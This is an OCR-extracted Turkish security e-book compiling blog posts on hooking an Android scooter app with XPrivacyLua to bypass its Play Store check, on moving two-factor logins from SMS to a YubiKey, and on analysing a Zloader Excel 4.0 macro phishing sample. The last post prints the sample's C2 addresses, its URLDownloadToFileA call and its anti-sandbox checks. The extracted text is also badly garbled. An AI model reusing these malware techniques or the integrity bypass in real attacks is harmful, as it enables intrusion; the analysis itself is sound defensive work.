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Giris

2009 yilinda “Bilgi giictiir ve paylagildik¢a artar” mottosuyla
olusturdugum blogumda, bilgi giivenligi farkindaligini arttirma
adina ¢ok sayida teknik yaziya yer vermeye calistim. Yillar icinde
okurlarimdan aldigim olumlu geri doniisler sonucunda, yazilarimi
yilar bazinda e-kitap olarak derlemeye ve siber giivenlik
meraklilari ile paylagmaya karar verdim.

Emek, zaman ve kaynak aywrarak yaptigim aragtirmalar
sonucunda yazdigim bu yazilarin, siber giivenlik alaninda kendini
gelistirmek isteyenler i¢cin faydali olmas dileklerimle...
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Android'de Kanca
Atmak

Konumuz Android diinyasi olsa da kanca atma denilince
nedense aklima ilk olarak enerji nakil hattina kanca atilarak
hanelere cekilen kacak elektrik gelir. Android diinyasinda da
aslinda uygulamalar1 dinamik olarak analiz etmek veya miidahale
etmek istedigimizde de benzer bir yontem izleriz. Peki buna neden
ihtiyac duyariz ? Kimi zaman Android uygulamalar ile ilgili bir
givenlik aragtirmasi yapmak istedigimizde veya sizma testi
esnasinda giivenlik zafiyeti bulmak icin hedef Android
uygulamasini analiz etme ihtiyaci duyariz. Bunun icin genellikle
ilk olarak hedef Android uygulamasini kaynak koduna cevirip
statik kod analizi yapmakla ise baslariz. Fakat giiniimiizde cogu
Android uygulamasinda kodlar gizlenerek  (obfuscation)
anlagilmasi giiglestirildigi icin uygulamayir Genymotion gibi
oykiintciiler (emulator) iizerinde dinamik olarak analiz etmeye
calisirniz. Caligiriz dememin bir sebebi ise yine giiniimiizde
Snapchat gibi mobil uygulamalarin statik analizin yani sira
dinamik analizi de engelleme adina ¢ok sayida yonteme
basvurdugu goriilebilmektedir.

2019 yiinin Arahk aymda gerceklestirdigim Stockholm
seyahatim esnasinda sehri gezerken etrafimdan gsik gsikirdim
insanlarin vizir vizir elektrikli scooterlar ile gecip gittigini gordiim.
Avrupa’da kullaniminin son derece yaygin olmasi sebebiyle


https://www.mertsarica.com/android-bankacilik-casus-yazilimi/
https://www.mertsarica.com/android-uygulamalarinda-guvenlik-testi/
https://www.genymotion.com/
https://www.snapchat.com/
https://play.google.com/store/apps/details?id=com.limebike&hl=en_GB
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elektrikli scooter uygulamalarimin zaman iginde giivenlik
arastirmacilarinin  radarina girmesi ile bazilarinda giivenlik
zafiyetlerinin  tespit edildigini hatirladim. Ulkemizde de
yayginlasmaya baglayan elektrikli scooterlar: ve uygulamalarini
kullanmaya baslamadan ©nce Android uygulamalarindan bir
tanesinin haberlesmesini, merakimi gidermek amaciyla giivenlik
aragtirmacisi goziiyle incelemeye karar verdim. Tabii ki her zaman
oldugu gibi evdeki hesap carsiya uymadi ve karsima ¢ikan engeller
sayesinde ortaya bu blog yazis1 ¢ikmig oldu. ?

Zamani kisithh bir giivenlik aragtirmacisi olarak statik kod
analizi ile vakit kaybetmek istemedigim i¢cin APK dosyasini APK
Downloader web wuygulamasi ile indirip Geny Motion
oykinuciisiine yiikledim. Uygulamayi caligtirdiktan sonra karsima
APK dosyasmin Google Play iizerinden indirilmemesi sebebiyle
siirpriz bir uyar: mesaji ¢ikti. ?

The app you are trying to use is not avallable because it is not
downloaded from the Google Play Store. Flease uninstall the app
from your phone and install it on the Google Play Store.

GO TO PLAY STORE

Bunun tizerine gozii kapali statik kaynak kodu analizine girmeden
once komut satirinda sistem mesajlarini goériintillemek icin adb
logcat komutunu caligtirnpp ardindan da uygulamay: tekrar
calistirdim. Mesajlar arasindan ekrana gelen uyar1 mesaji ile iliskili
oldugunu diisiindiigiim fonksiyonu bulmak i¢in jadx araci ile APK
dosyasini kaynak koduna cevirdikten sonra
activities.splash.Splash  dosyasini  incelemeye  basladim.
Dosyanin sonunda yer alan verifyInstallerId fonksiyonu hemen
dikkatimi cekti. Bu fonksiyon adimi Google arama motorunda
arattigimda benzer bir fonksiyonun tam da bu amacla


https://www.zdnet.com/article/xiaomi-electric-scooters-vulnerable-to-remote-hijacking/
https://www.zdnet.com/article/xiaomi-electric-scooters-vulnerable-to-remote-hijacking/
https://apps.evozi.com/apk-downloader/
https://apps.evozi.com/apk-downloader/
https://github.com/skylot/jadx

kullanildigint  gérdim. Bu  fonksiyon ile  Android’in
getInstallerPackageName  fonksiyonundan  faydalanarak
uygulamay1 Android’e yiikleyen uygulamanin Google Play olup
olmadigr kontrol ediliyordu. $ayet uygulama Google Play
tarafindan igletim sistemine yiiklendiyse installerPackagename
degiskeni sifirdan farkli bir deger oluyordu.

The app you are trying to use is
not available because it is not
downloaded from the Google
Play Store. Please uninstall the
app from your phone and install it
onthe Google Play Store.

GO TO PLAY STORE

© e.b.aab Qebaabads X ©ebasbads X Oebasbadc X ©ebaab X Gebaab b X O ulactivities.splosh.splash X | [ |

) getContig() 5 sion() > this.versionCode)

Code Snai



https://developer.android.com/reference/android/content/pm/PackageManager.html#getInstallerPackageName(java.lang.String)
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OBmMmAGY @ :

Detect if an app is installed from Play store =

Bu fonksiyona kaynak kodu seviyesinde miidahale edip,
installerPackagename degiskenini sifirdan farkli bir deger yapip
ardindan  derleyip = Android igletim  sistemi {zerinde
calistirabilirdim fakat Bill Gates’in bir roportajinda dedigi gibi
“Her zaman en tembel insanlar1 ise alirnm ciinkii tembeller ¢ok
karisik isleri bile en kisa yoldan yaparlar” ben de tembellik yapip
kisa bir yol aramaya karar verdim. ?

Eminim bu gibi bir durumla kargilasan giivenlik
aragtirmacilarinin ¢ogu Frida arag kiti ile ilerlemeyi tercih ederler
fakat hayatin Frida’dan ibaret olmamasi gerektigine inanarak
Frida’ya alternatif bir arag, farkli bir yol aramaya karar verdim.
Google arama motorunda kisa bir aragtirma yaptiktan sonra daha
once sizma testlerinde ozellikle SSL Pinning‘i atlatmak igin
kullandigim ve 1400°den fazla eklentiye sahip olan Xposed
Framework aklima geldi.

Geny Motion tizerinde bulunan Android Oreo igletim sistemine
Xposed Framework’u kurduktan sonra eklentilerine géz atmaya
bagladim. Eklentiler arasinda XPrivaclyLua isimli eklenti hemen
dikkatimi cekti. Adindan da anlagilabilecegi tizere bu eklenti,
Android tizerinde yiiklii olan uygulamalar: sahte bilgilerle (sahte

konum bilgisi gibi) besleyerek mahremiyetinizi korumaya


https://frida.re/
https://developer.android.com/training/articles/security-ssl.html
https://repo.xposed.info/
https://repo.xposed.info/
https://github.com/M66B/XPrivacyLua
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yardimer olmaktadir. Calisma y6ntemi olarak kabaca bu bilgileri
toplamaya calisan fonksiyonlara kanca atarak gercek bilgiler
yerine sahte bilgiler vermektedir. Eklentiyi ihtiyaclarimiz
dogrultusunda sekillendirmek icin ise Pro stirimiinii yiikleyerek

Lua programlama dili ile betikler olusturmaniz gerekmektedir.


https://lua.xprivacy.eu/pro/
https://www.lua.org/
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Xposed Framework version 90-beta3 is active.

INSTALL/UPDATE

Version 90-beta3 [
UNINSTALL

Uninstaller (20180117) ()
YOUR DEVICE

i Android 8.0.0 (Oren, API 26)

Genymotion Android Google Nexus 6

Verified Boot is deactivated

g
E  x86
9




¥  Download

VERSIONS SETTINGS

XPrivacyLua
by M&6B
For details, including installation instructions, see here;

Support:

Source:

Repository:
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| 2% Genymotion for personal use - Google Nexus 6 (480x800, ..  — O X

TrustMeAlready
Disable SSL verification and pinning

. XPrivacylLua
* XPrivacylua
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Lua ile installerPackagename degiskenini degistiren ufak bir
betik hazirlayip aktif hale getirdikten sonra uygulamayi
calistirdigimda uygulamanin artik daha onceki uyari mesajini
cikarmadigimmi  ve  Charles Proxy ile web trafigini

gorintileyebildigimi gorerek mutlu sona ulagmig oldum.


https://www.charlesproxy.com/
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29 Genymotion for personal use - Google Nexus 6 (480x800, ..  — O X

Define hook
~ Lua seript

Verify that the installer iz Google Play Store

PackageManager.getinstallerPackageName

Mert SARICA

% Enabled [_] optional
¥4 usage [] Notify

android.content. pm.PackageManager

getinstallerPackageName

java.lang.String
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29 Genymotion for personal use - Google Nexus 6 (480x800, ..  — O X

Define hook

“ Lua seript

-- Mert.PackageManager.getInstallerPackagetlame is a Lua
hook definition
-- designed to work with XPrivacylua.

-- Mert.PackageManager.getInstallerPackagelame is free
software: you can redistribute it and/or modify

-- it under the terms of the GHU General Public License
as published by

-- the Free Software Foundation, either wversion 3 of the
License, or

-- (at your option) any later version.

-- Mert.PackageManager.getInstallerPackagetlame is
distributed in the hope that it will be useful,

-- but WITHOUT ANY WARRANTY, without even the implied
warranty of

-- MERCHAWTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the

-- GHU General Public License for more details.

-- You should have received a copy of the GHU General
Public License

-- along with XPrivacylLua. If not, see

<http://www. gnu,orgflicenses/=,

-- Copyright (C) 2019 MWert SARICA (www.mertsarica.com)

function after(hook, param)
local result = param:getResult()
local fake = 'com.android. vending'
param:setResult(fake)
return true, result, fake

end
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Ovenview Request Response Summary Chart Notes

Genymotion for personal use - Google Nexus 6 (460800,.. — O

9 = hitgs//play googlespiscom

New Version on the Store

Anew version s avaiable. Please u

Bu yazimin giivenlik aragtirmalarinda Frida'ya alternatif ara¢ ve
yontem arayanlara 11k tutacaginu iimit ederek bir sonraki yazida

goriismek dilegiyle herkese giivenli giinler dilerim.



SIM Kart
Dolandiricihigi ile

Miicadele

Giintimiizde, kullandigimiz e-posta hesabindan sosyal medya
hesabina, internet bankacilig1 hesabindan gelistirdigimiz yazilimin
kaynak kodunu barindirdigimiz hesaba kadar giris (login)
esnasinda giivenligimiz icin iki faktorli kimlik dogrulama
kullaniyoruz veya kullanmaya zorlaniyoruz. ki faktérlii kimlik
dogrulama denildiginde son yillarda genis kitleler tarafindan
siklikla kullanilmasi sebebiyle ¢ogumuzun aklina tek kullanimlik
parola, OTP olarak SMS dogrulama kodu gelse de, tek kullanimlik
parola iireten aygitlar, uygulamalar hala hayatimizda fazlasiyla yer
edinmektedir.

Yakin ge¢miste yabanci basinda SIM kart1 degisikligi ile yapilan
dolandiricilik  haberlerine sikca rastlamaya bagladik. Bu
dolandiriciliklarin  bagariyla ulagsmasinin en biiyiik nedeni ise
kullanicilarin dogrulama adina bir aygit kullanmamas: veya tek
kullanimlik parola treten bir aygit, uygulama kullanmak yerine
SMS dogrulama kodu kullanmalaridir. Bu sayede telefon hattini
tizerine geciren bir dolandirici bundan sonra bankaciliktan sosyal
medya hesaplarina kadar hedef kiginin giris esnasinda cep
telefonununa gonderilen tek kullanimlik SMS dogrulama kodunu

ele gecirerek kotii emellerine ulasabilmektedir. Tirkiye'de bu

15


https://en.wikipedia.org/wiki/Multi-factor_authentication
https://tr.wikipedia.org/wiki/Tek_seferlik_parola
https://www.yubico.com/products/
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
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sekilde gerceklestirilen dolandiriciliklar ile yillar yillar 6nce
karsilasilmaya baslandig1 icin bugiin GSM operatorleri ile finans
kurumlar1 arasinda etkin bir igbirligi yapilmasi ile SIM kart1
degisikligi ile gerceklestirilmeye calisilan internet/mobil
bankacilig1 dolandiriciliklar: 6nlenebilmektedir. Son zamanlarda
ise zorlu hedeflerle ugrasmak yerine kolay olanlar: tercih eden
dolandiricilarin SIM kart1 degisikligi ile kripto para borsalarinda
hesabi olan  kullanicilari,  yatirimcilar1  hedef — aldigim
gorebilmekteyiz.

Kendi hesaplarim i¢in olabildigince Google Authenticator gibi
tek kullanimlik parola tireten uygulamalar kullansam da APT41
gibi telekomiinikasyon firmalarini hedef alip SMS meajlarina goz
diken devlet destekli hacker gruplari, casusa doniisme potansiyeli
git gide artan akilli telefonlar derken telefonumu dogrulama
amaciyla kullanmak bir siber giivenlik aragtirmacisi olarak pek
givende hissettirmemeye basglamisti. Bir de baglantilarimdan
“Hocam peki sen kendi hesaplarinin giivenligini nasil sagliyorsun
?” vb. sorular ile de zaman iginde karsilasmaya bagladikca bu
yazi ile bilfiil hesaplarimin giivenligini nasil sagladigimi kisaca
aciklamaya karar verdim.

SMS dogrulama koduna (something you have) kiyasla
dogrulama faktorii olarak daha giivenli ne kullanabilirim diye kisa
bir aragtirma yaptifimda Google’m Gelismis Giivenlik
Programi'nda da yer alan giivenlik anahtar: treticisi Yubico nun
web sayfasini incelemeye karar verdim. YubiKey NFC 5 anahtarini
almaya karar verdikten sonra maalesef YubiKey’in bilinen e-ticaret
magazalarinda satilmadigini 6grendim. Amazon.com tizerinde
45$’a satilan bu anahtara bir o kadar da kargo bedeli iizerine
bir de vergi 6dememek i¢in ne yapmali ne etmeli diye kara kara
diistiniirken imdadima o esnada FireEye etkinligi icin ABD’ye

ucacak olan FireEye Tirkiye Kidemli Satis Miithendisi Okkes


https://markets.businessinsider.com/currencies/news/bitcoin-investor-loses-24-million-of-crypto-sim-swap-hackers-2019-11-1028677818
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html
https://www.businessinsider.com/jeff-bezos-phone-hacked-saudi-crown-prince-mbs-report-explained-2020-1
https://www.linkedin.com/posts/mertsarica_sim-swapping-attacks-what-they-are-how-activity-6617286742099673088-39dK
https://landing.google.com/intl/tr/advancedprotection/
https://landing.google.com/intl/tr/advancedprotection/
https://support.google.com/accounts/answer/7545682?hl=tr&ref_topic=9264881
https://www.yubico.com/
https://www.yubico.com/product/yubikey-5-nfc
https://www.amazon.com/Yubico-YubiKey-USB-Authentication-Security/dp/B07HBD71HL
https://www.fireeye.com/
https://www.linkedin.com/in/okkes-ozdemir-cissp-oscp-24738425/
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OZDEMIR kostu ve sagolsun dertsiz, tasasiz bu givenlik
anahtarina sahip olabildim.

YubiKey 5 NFC

The #1 Security Key

Anahtar1 alir almaz http://yubico.com/start adresini ziyaret edip
kurulum ile ilgili yonergeleri okuduktan sonra ilk is olarak siber
guvenlik ile ilgili haberleri takip etmek i¢in ¢ok sik kullandigim
Twitter hesabimi giivenli hale getirmeye karar verdim. Twitter’a


https://www.linkedin.com/in/okkes-ozdemir-cissp-oscp-24738425/
http://yubico.com/start
http://twitter.com/mertsarica
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giris yaptiktan sonra iki faktorlii yetkilendirme sayfasinda
kisa mesaj opsiyonunu devre digi biraktim. Ardindan giivenlik
anahtar1 opsiyonunu aktif hale getirip yonergeleri takip ederek
USB giivenlik anahtarimi Twitter’a bagariyla tamitarak SMS
dogrulama kodu ile giristen kurtulmay:1 basardim. WordPress
yonetim sayfasina giriste de bu anahtar: kullanabilir miyim acaba
diye arastirma yaparken Two-Factor WordPress eklentisi ile de
karsilasmak beni olduk¢a mutlu etti.

Yeri gelmisken giivenlik anahtar1 ile dogrulamay:
desteklemeyen platformlar igin ise Yubico tarafindan
gelistirilmis olan Google Authenticator muadili, NFC
destekli Yubico Authenticator uygulamasi sayesinde
guvenlik anahtarimizi telefonunuza NFC iizerinden
okutarak tek kullanimlik parola olusturabileceginizi de

belirtmig olayim.

Ayarlar < iki faktorlii yetkilendirme
@MertSARICA iki faktorlii yetkilendirme

Kisa mesaj 3

Anasayfa

Hesap

Kesfet

Bildirimler

Mesajlar

Yer isaretleri

Listeler

Ek yéntemler

Profil

©O ® @ 3 O # © €

Vedek kodlar
Daha fazla etilendirme se

Gegegie ) s


https://tr.wordpress.org/plugins/two-factor/
https://www.yubico.com/products/services-software/download/yubico-authenticator/

Giivenlik anahtari

Mert SARICA
@VeSARICA

Use a physical securiy key to log in to twitter.com using a supported web browser. You
can either insert the key into the USB port of your computer o sync it to your mabile.
device over Bluetooth or NFC. Daha faza bilgi al

We'll walk you through adding the key to your Twitter account

X Use your security key with twitter.com

Insert your security key and touch it

Add i

Insert the secury pu v
over Bluetooth or NFC, then touch the key to add it to your account

19
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Son olarak Google’in Gelismis Guivenlik Programi‘na da dahil olup

tim Google hesaplarimi da giivenlik anahtar1 destekleyen
platformlarda oldugu gibi giivenli hale getirdikten sonra kendini
bir nebze daha giivenli hisseden bir siber giivenlik arastirmacisi
olarak mutlu sona ulagsmis oldum.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.


https://landing.google.com/intl/tr/advancedprotection/




Excel 4.0 Makro
(XLM) Analizi

2017 yilinda baslayan DDE tabanli oltalama saldirilari, 2020
yili itibariyle yerini Excel 4.0 Makro (XLM) oltalama saldirilarina
birakti. Ufak bir arastirma yaptigimizda XLM makrolarinin
hayatimiza girisinin 1992 yilinda Microsoft Excel 4.0°m
yaymlanmas: ile oldugunu gorebilirsiniz. Tehdit aktorleri
tarafindan siklikla kotiiye kullanilan VBA makrolar ise Excel 5.0
ile duyurulmasi ile hayatimiza girmis ve giinimiizde de en giincel
Microsoft Office siiriimiinde hala desteklenmektedir.

Yanlis amimsamiyorsam XLM makrolar: ile ilgili ofansif
givenlik tizerine okudugum ilk teknik makale Outflank firmasina
ait bu blog yazisiydi. XLM makrolarini VBA makrolar1 gibi tespit
edip, analiz etmenin pek de kolay olmadigi XLM makrolarina
yonelik yapilan giivenlik aragtirmalari ile ortaya cikmaya
basladiktan sonra her zaman oldugu gibi ofansif giivenlik
uzmanlarinin yani sira tehdit aktorlerinin de dikkatini ¢cekmeye
basgladi. Aradan ¢ok zaman ge¢meden de kurumlar XLM makro
iceren oltalama saldirilari ile karsilasmaya basladilar.

XLM makro iceren bir Office dosyasini analiz etmenin zorlugu,
Microsoft Office Makro Analizi baglikli blog yazimda belirttigimin
aksine Office’nin arayiiziinden kolaylikla gériintillenememesinden
(view macro) kaynaklanmaktadir. Durum béyle olunca da zararl
XLM makro iceren Office dosyalarinin tecriibesiz siber giivenlik

23


https://blog.malwarebytes.com/threat-analysis/2017/10/old-ms-office-feature-weaponized-in-malspam-attacks/
https://en.wikipedia.org/wiki/Microsoft_Excel#Excel_4.0_(1992)
https://en.wikipedia.org/wiki/Microsoft_Excel#Excel_5.0_(1993)
https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
https://www.mertsarica.com/microsoft-office-makro-analizi/
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uzmanlarinin dikkatinden ka¢ma ihtimali (“Bu Office dosyasi
bozuk”, “Makro igermiyor” gibi) artmaktadir. Ben de hem siber
givenlik analisletlerine XLM makro iceren Microsoft Office
dosyalarinin nasil analiz edilebilecegini géstermek hem de XLM
makro iceren Microsoft Office dosyalarma karsi farkindalik
yaratmak adina gercek bir olaydan yola ¢ikarak bir blog yazisi
yazmaya karar verdim.

2020 yiinin Mayis aymda cok sayida SMTP ip adresinden
goénderilen ve gonderici adresi @wp.pl uzantili olan yiizlerce e-
posta icin giivenlik sistemlerinde engellendigine dair alarmlar
iremeye basladi. E-postalar incelendiginde eklerinde rastgele
isimle olusturulmus XLS uzantili Excel dosyalar1 bulunuyordu. Bu
gibi durumlarda siber giivenlik analistlerinin yapmas1 gereken en
onemli adimlardan biri zararli dokiiman icinde yer alan komuta
kontrol merkezine ait adreslerini tespit etmek, web trafigi
kayitlarinda aramak ve kurum genelinde erisimi engellemektedir.

Tabii mevzu bahis XLM makro igeren Office dosyas: oldugunda
statik ve dinamik analiz yapan kum havuzu (sandbox)
sistemlerinin anti kum havuzu yontemleri karsisinda yetersiz
kaldigi durumlar séz konusu (Ornek: Kum Havuzu Tespiti)
olabilmektedir. Alarma konu olan zararli Excel dosyas1 da tam da
bu sekilde kum havuzunda calistigini anlamaya yo6nelik kontroller
gerceklestirdigi icin komuta kontrol merkezinin adresi bu analizler
(VirusTotal, Hybrid-Analysis) esnasinda ortaya ¢ikmamaktadir. Bu
durumda siber giivenlik analistinin yapmasi gereken is bu zararl
Excel dosyasii alip zararli yazilimi analizi amaciyla olusturdugu
sanal sistemine kopyalamak ve orada analiz etmek olmalidir.

Excel dosyasini sanal sistemde calistirdigimizda karsimiza iki
tane sayfa (Sheetl & Sheet2) cikmaktadir. Birinci sayfada kotii
emellerini gerceklestirebilmek icin makroyu aktif hale getirmemiz
gerektigini belirten sahte bir resim/mesaj, ikinci sayfada ise
bombos hiicreler (aslinda bos degil :)) karsimiza ¢ikmaktadir. Her


https://www.mertsarica.com/kum-havuzu-tespiti/
https://www.virustotal.com/gui/file/d7aff893ee5ac59d40eaa8e7acc6886086bcde1c1f3a714c1b3bd99ac1c26bef/detection/f-d7aff893ee5ac59d40eaa8e7acc6886086bcde1c1f3a714c1b3bd99ac1c26bef-1589636429
https://www.hybrid-analysis.com/sample/c272b18521a72d8e1a6cf01b1e83d3b04a3be2b34af5b488b63c08c7090ccfbe/5ebfec393c48922c00604ae8
https://www.virustotal.com/gui/file/d7aff893ee5ac59d40eaa8e7acc6886086bcde1c1f3a714c1b3bd99ac1c26bef/detection
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ne kadar Excel bize bu dosyada makro olduguna dair uyar1 verse
de dosyada yer alan makroyu gorintiledigimizde icinin bosg
oldugu goriinmektedir.

et |_shee [

EEEREEEEEE R

EEEEEEEREEEEE

et |_sheez [ @

Dosyay1 herhangi bir hex editorii ile agip i¢inde yer alan karakter
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dizilerine (strings) baktigimizda Excel 4.0 Macros dizisinden
stiphe ettigimiz gibi bunun XLM makrosu icerdigini gorebiliyoruz.
Dosyanin iginde makro oldugundan emin olmak icin dosyay1
mraptor araci ile analiz ettigimizde dosyada makro oldugu ve
otomatik olarak calisabilmesi adina Auto_Open isminde (VBA
makrosundaki AutoOpen() fonksiyonu gibi) bir hiicreye (cell)
sahip oldugu anlagiliyordu. Bu hiicrenin adim1  6grenip
goriintilemek ve analiz etmek igin ise Didier STEVENS‘n
oledump aracindan faydalanarak (oledump.py -p plugin_biff.py
—-pluginoptions “-o0 LABEL -s” C:\Users\Mert\Desktop\
ea74b9a274c0c¢73cad990ddd089927b6.xls)  ilk  calistirilan
hiicrenin Auto_OpencfitK admna sahip oldugunu gordim.
Analistin Excel tizerinden Go To (CTRL-G) ile Auto_Open ismine
sahip hiicreye giderek analize baglayacagini bilen zararli kod
geligtiricisi ~ akillilk  yaparak adimi bu hiicrenin  adini
Auto_OpencfitK olarak degistirmisgtir.

) e can ouc oot i Vil
EELTY Y as nans|o -en | wEeE
AL YT =

1§ oo Woromn Bhres] #omomes| Bowon


https://github.com/decalage2/oletools/wiki/mraptor
https://www.linkedin.com/in/didierstevens/
https://blog.didierstevens.com/programs/oledump-py/
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BN Administrator: C\Windows\system32\cmd.exe | = | E] | -

IC:sUserssMert Desktop>mraptor.exe ea?4h%a2?4cBc?3cad?90dddB8?227h6 . x1s
I‘Iacl-uRaptDl- B.56devs - http sdecalage. 1nfu/pythun/oletnul"

'{},1.- i" work in progress, please report issues at https:/s/github.consdecalage2 o
etoo .,/155Lle.,

ea?4b?a274cBc?3cad?90ddd@BI927h6 . x1s
iMatches: [’Auto_Open’. ‘URLDownloadToFilefA’. ’RUN’1

[Flags: A=AutoExec., W ite. W=Execute
[Exit co(le. 28 — SUSPICIOUS

IC:“\Users~Hert Desktop>

C: \H.,el-s\l‘lel-t\l)e.,ktnp\ﬂppllcatlnn.,\nledump Ua_A_48>python oledump.py —p plugin_h|
LABE

iff .py ——pluginoptions "-o LABEL - C:sUserssMert\Desktopsea?4h?a2?4cBc?3cad??
Bddde8I927h6 . x1s
6 ’~xB5DocumentSummaryInformation’
SaB58unmarylnformation”
‘Revision Log"
@96 ’‘User Mames’
!Workhook’
Plugin: BIFF plugin
Bauis 28 LABEL : Cell Value,. String Constant — build-in-—name

i 26 LABEL : Cell Value. String Constant — ORMULA.FILL

2 PRINTHERDERS : Print Row/Column Lahels
18 LABELSST : 11 VUalue, String Constants 88T
B82a 2 PRINTHEHDERS : Print Row/Column Labels

IC=sUserssMert\Desktop“Applicationsoledump_UB_@_48>

Sheen | sheez

Baslangic hiicresine gittikten ve dosya genelinde 42 tane
FORMULA ifadesi ve CHAR fonksiyonundan olusan gizlenmis
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(obfuscated) bir makro oldugunu 6grendikten sonra her birini
teker teker ¢ozmek ve analiz etmek bir hayli zaman alacag icin
hata ayiklamasi (debugging) ile ilerlemeye karar verdim.
Auto_OpencfitK hiicresine gidip ALT + F8 kisa yoluna bastiktan
sonra Step Into butonuna bastigimda haliylen Excel beni devam
etmek icin makro calistirmaya izin vermemi ve ardindan dosyay1
kapatip agmamu istedi. Dosyay1r acar agmaz Excel hizlica
Auto_OpencfitK hiicresinden ilerleyecegi icin bu adim
kacirmamak icin bu hiicrede yer alan =SET.VALUE(FG22029,
-490-GET.CELL(17,HX17320)) formillini =HALT() ile
degistirerek makronun sonlanmasimni sagladim. Ardindan
=HALT() formilini =SET.VALUE(FG22029,
-490-GET.CELL(17,HX17320)) ile degistirip bu hiicre tizerinde
ALT + F8 kisa yoluna bastigimda sorunsuz bir sekilde ilk hiicreden
makroyu dinamik olarak analiz etmeye baglayabildim.




Step Into ve Evaluate butonlarindan faydalanarak gizlenmis

hiicrelerin ¢6ztlmesi ile analize devam ettikce Excel 4.0 Macro
Functions Reference belgesinden faydalanarak makronun hata
ayiklamaya ve kum havuzuna karsi cesitli kontroller
gerceklestirdigini gbrdiim. Hata ayiklama kontrolii yapan
AT41104 hiicresine geldigimde bu kontrolii atlatmak i¢in hata
ayiklama tespit edilememesi durumunda devam ettigi hiicredeki
=GOTO(AY23948) degerini AT41104 hiicresine kopyaladim.
=IF(GETWORKSPACE(31),GOTO(HV23758),) Makro  hata
ayitklama modunda m1 ? (Anti-debugging)
=IF(GETWORKSPACE(19),, GOTO(HV23758),) Sistemde fare var
m1 ? (Anti-sandbox)
=IF(GETWORKSPACE(42),,GOTO(HV23758),) Ses dosyasi
calinabiliyor mu ? (Anti-sandbox)


https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
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etmek icin https://docs.microsoft.com/en-us/officeupdates/
office-msi-non-security-updates web adresine baglandigini ve
hata almasi durumunda ¢alismay1 durdurdugunu farkettim. Kayit
defteri (registery) tizerinden sistemde makro kullanimina izin
verilip verilmedigini de kontrol ettikten sonra
https://dehabadil.]ir/wp-keys[.]php ve
https://eleventalents[.]Jcom/wp-keys[.]php  adresleri ile
iletisim kurmaya calistigini gérdiim. Analiz esnasinda bu iki adres
de aktif olmadig1 i¢in analize devam edememis olsam da yapmig
oldugum arastirmalar sonucunda Zloader zararli yazilimina ait
komuta kontrol merkezleri oldugunu tahmin ettigim bu adresleri

ortaya cikararak bagariyla amacima ulagmis oldum.

Bu yazi ile isin temelini 6grendiginize goére bundan sonra


https://twitter.com/hashtag/zloader
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
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XLMMacroDeobfuscator gibi bir ara¢ ile gizlenmis XLM makroyu
hizlica ¢6zebilir ve zamandan tasarruf edebilirsiniz. ? Bu yazinin
XLM makro analizi yapmak isteyen analistlere 151k tutacagini iimit
ederek bir sonraki yazida goriismek dilegiyle herkese gilivenli

giinler dilerim.

m

HLMMacroDeobfuscator{v B.1.4> — https://github.comn/DizsectMaluare  HLMMacroDeohfu
scator

File: C:sUserssMertsDesktop-ea?4b?a274cBc?Icad??8dddBB8T?27h6 . x1s

[Loading Cells]
auto_open: auto_open—>Sheet2?4HP524304
[Starting Deobfuscationl
LL:HP24384 - FullEvaluation SET .UALUECFG22629% . -589>
:HP24385 FullEvaluation RUN{(Sheet2*FB54728>
:FE5 4728 FullEvaluation SET.UALUEC{CK33913.186>
:FB54721 FullEvaluation GOTOCCB6172)
:CB6172 FullEvaluation SET.UALUE<{BD47287,.-5086.25>
:CB6173 FullEvaluation RUN(Sheet2?HB?779)>
*HB2? 779 FullEvaluation SET .UALUECBY37681 ,.-298>
:HB?788 FullEvaluation RUN(Sheet2*Z1238)>
sZ1238 FullEvaluation SET.UALUE{CB44587.-574>
=Z123% FullEvaluation RUN{(Sheet2*F63714>
:F63714 FullEvaluation SET.UALUECDIS?@863 ,—442>
:F63715 FullEvaluation RUN{(Sheet2tH584%4)
tH58494 FullEvaluation SET .UALUECGF4544% 319 .52
:H58495 FullEvaluation GOTOCCP32@88>
:CP328008 FullEvaluation SET.UALUECGI36317.-454>
:CP32061 FullEvaluation RUN{(Sheet2tD320258>
:D82@258 FullEvaluation SET .UALUE<HW45841 . —78.5>
:DE2@259 FullEvaluation GOTOCDES 285>
:DE5285 FullEvaluation SET.UALUECARS1698,.132)>
:DES286 FullEvaluation RUN(Shee Z57139>
1GE57139 FullEvaluation FORMULA (""'=CLOSECFALSE>" . HU23758>
:GZS7148 FullEvaluation @ >
:EP446068 FullEvaluation APP.MAKIMIZE<C> ", EP44881 »
:EP448061 PartialEvaluation APP.MARIMIZE(>
:EP44802 FullEvaluation GOTOCBAG2228 >
LL:BQ62228 FullEvaluation FORMULAC"'=IF(GET . WINDOWC?> .GOTOCR[-384711]
ICL16113,)", BQ62229)
(CELL:BQ62229 - FullEvaluation - IFCGET .WINDOWC?) . GOTOCRI-384711CI1611> >
CELL:BQ62230 » FullEvaluation GOTOCDHeB448>
(CELL : DH6 8448 » FullEvaluation » FORMULAC"=IFCGET .WINDOW(28>, .GOTOCRI-366
B831C[1181>>", DH6B441 >
CELL : DH6 8441 . FullEvaluation IF(GET .WINDOWC28>, ,GOTO(RI-366831C[118 1)



https://github.com/DissectMalware/XLMMacroDeobfuscator
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BX Administrator: C\Windews\system32\emd.exe
GOTOCEHS541562
CELL:EH54156 ~ FullEvaluation

—keys .php'"'"' . GR1784>
CELL:EH54157 - FullEvaluation

FORMULA{"=""https:-/eleventalents.com up|

GOTOCJ19413>
(CELL:=J19413 » FullEvaluation
ULA<*"=CA w Imon '™’ " "URLDown loadT
1.

" FORM LLC
oFileA™" . """\ JJCCJJ"". B, R[-127681CI[92 1. R[-96611C[-991.0.8>".DD14472>
CELL:=J19414 » FullEvaluation
GOTOCDC17857>

FORMULA < orkhook cannot be opene
d or repaired by Microsoft Excel because it's cor -BE29866 >
CELL:DC1785%8 - FullBEvaluation -

GOTOCAU33595)

FORMULA{"=ALERT (R[-383871C[-1241>" . FY¥594|

(CELL:DC17857 - FullEvaluation

